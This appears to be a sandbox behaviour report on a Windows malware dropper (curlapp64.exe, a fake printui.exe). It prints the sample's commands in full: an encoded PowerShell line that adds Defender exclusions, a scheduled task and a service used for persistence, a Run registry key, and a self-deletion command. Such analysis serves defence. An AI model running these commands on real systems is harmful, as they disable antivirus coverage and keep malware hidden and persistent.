Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "$dec = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $dec;"			Jump to behavior

Source: C:\Users\user\Desktop\curlapp64.exe

Code function: 5_2_00007FF8A934FE30 WSAStartup,WSACleanup,GetModuleHandleW,GetProcAddress,wcspbrk,LoadLibraryW,GetProcAddress,LoadLibraryExW,GetSystemDirectoryW,malloc,GetSystemDirectoryW,LoadLibraryW,free,GetProcAddress,QueryPerformanceFrequency,

5_2_00007FF8A934FE30

Source: dYUteuvmHn.exe	Static PE information: section name: .fptable
Source: curlapp64.exe.0.dr	Static PE information: section name: .fptable
Source: libiconv-2.dll.39.dr	Static PE information: section name: .xdata
Source: libiconv-2.dll.39.dr	Static PE information: section name: /4
Source: libiconv-2.dll.39.dr	Static PE information: section name: /19
Source: libiconv-2.dll.39.dr	Static PE information: section name: /31
Source: libiconv-2.dll.39.dr	Static PE information: section name: /45
Source: libiconv-2.dll.39.dr	Static PE information: section name: /57
Source: libiconv-2.dll.39.dr	Static PE information: section name: /70
Source: libiconv-2.dll.39.dr	Static PE information: section name: /81
Source: libiconv-2.dll.39.dr	Static PE information: section name: /92
Source: libintl-9.dll.39.dr	Static PE information: section name: .xdata
Source: libintl-9.dll.39.dr	Static PE information: section name: /4
Source: libintl-9.dll.39.dr	Static PE information: section name: /19
Source: libintl-9.dll.39.dr	Static PE information: section name: /31
Source: libintl-9.dll.39.dr	Static PE information: section name: /45
Source: libintl-9.dll.39.dr	Static PE information: section name: /57
Source: libintl-9.dll.39.dr	Static PE information: section name: /70
Source: libintl-9.dll.39.dr	Static PE information: section name: /81
Source: libintl-9.dll.39.dr	Static PE information: section name: /92
Source: libwinpthread-1.dll.39.dr	Static PE information: section name: .xdata
Source: console_zero.exe.39.dr	Static PE information: section name: .fptable
Source: vcruntime140d.dll.39.dr	Static PE information: section name: _RDATA
Source: bav64.exe.39.dr	Static PE information: section name: .textbss
Source: bav64.exe.39.dr	Static PE information: section name: .msvcjmc
Source: bav64.exe.39.dr	Static PE information: section name: .00cfg
Source: bav64.exe.39.dr	Static PE information: section name: .fptable
Source: svcldr64.dat.39.dr	Static PE information: section name: .fptable
Source: x610437.dat.39.dr	Static PE information: section name: .fptable

Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A934CC0C push rdx; ret	5_2_00007FF8A934CC0D
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A934CC08 push rdi; retn 0004h	5_2_00007FF8A934CC09
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 45_2_00007FF8474DD2A5 pushad ; iretd	45_2_00007FF8474DD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 45_2_00007FF8475F6FDA push edx; iretd	45_2_00007FF8475F6FDB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 45_2_00007FF8475F2A44 push ebx; iretd	45_2_00007FF8475F2A4A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 45_2_00007FF8475F88FA push ebx; ret	45_2_00007FF8475F891A
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_649487B2 push r11; ret	55_2_649487ED
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_660224A8 push rax; retf	55_2_660224B1
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6829984B push 00000000h; retf	55_2_68299850
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_682970AC push rax; iretd	55_2_682970AD
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_682951B2 push rdx; retn 0000h	55_2_682951B3
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6829998B push 00000000h; ret	55_2_68299990
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6829999B push 00000000h; iretd	55_2_682999A0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6829AA73 push 00000000h; ret	55_2_6829AA78
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6829ABBB push 00000000h; retf	55_2_6829ABC0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6829ABB3 push 00000000h; ret	55_2_6829ABB8
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_6829A7AB push 00000000h; iretd	55_2_6829A7B0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8A7CEC982 push C90002C4h; ret	55_2_00007FF8A7CEC989
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B834C2B8 push 050001C2h; retn 0001h	55_2_00007FF8B834C2C5
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B834C2C8 push 680001C2h; retn 0001h	55_2_00007FF8B834C2CD
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B834C2D0 push 680001C2h; retn 0001h	55_2_00007FF8B834C2D5

Persistence and Installation Behavior

Creates a Windows Service pointing to an executable in C:\Windows

Source: C:\Windows\System32\reg.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\x610437\Parameters ServiceDll C:\Windows\System32\x610437.dat

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\System32\console_zero.exe
Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\System32\bav64.exe
Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows \System32\printui.exe	Jump to behavior

Source: C:\Users\user\Desktop\curlapp64.exe	File created: C:\Windows \System32\printui.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\x610437.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcurl.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	File created: C:\Users\user\Desktop\libcurl.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\svcldr64.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\vcruntime140d.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libiconv-2.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcrypto-3-x64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	File created: C:\Users\user\Desktop\curlapp64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\curlapp64.exe	File created: C:\Windows \System32\printui.dll (copy)	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\bav64.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libssl-3-x64.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\console_zero.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libwinpthread-1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libintl-9.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\zlib1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	File created: C:\Users\user\Desktop\zlib1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\ucrtbased.dll	Jump to dropped file
Source: C:\Users\user\Desktop\curlapp64.exe	File created: C:\Users\user\Desktop\prnttemp.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libpq.dll	Jump to dropped file

Source: C:\Users\user\Desktop\curlapp64.exe	File created: C:\Windows \System32\printui.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\x610437.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcurl.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\svcldr64.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\vcruntime140d.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libiconv-2.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcrypto-3-x64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\curlapp64.exe	File created: C:\Windows \System32\printui.dll (copy)	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\bav64.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libssl-3-x64.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\console_zero.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libwinpthread-1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libintl-9.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\zlib1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\ucrtbased.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libpq.dll	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f

Source: C:\Windows\System32\reg.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\x610437\Parameters

Source: C:\Users\user\Desktop\curlapp64.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run curlapp64			Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run curlapp64			Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc create x610437 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Process created: cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\dYUteuvmHn.exe"
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Process created: cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\dYUteuvmHn.exe"			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
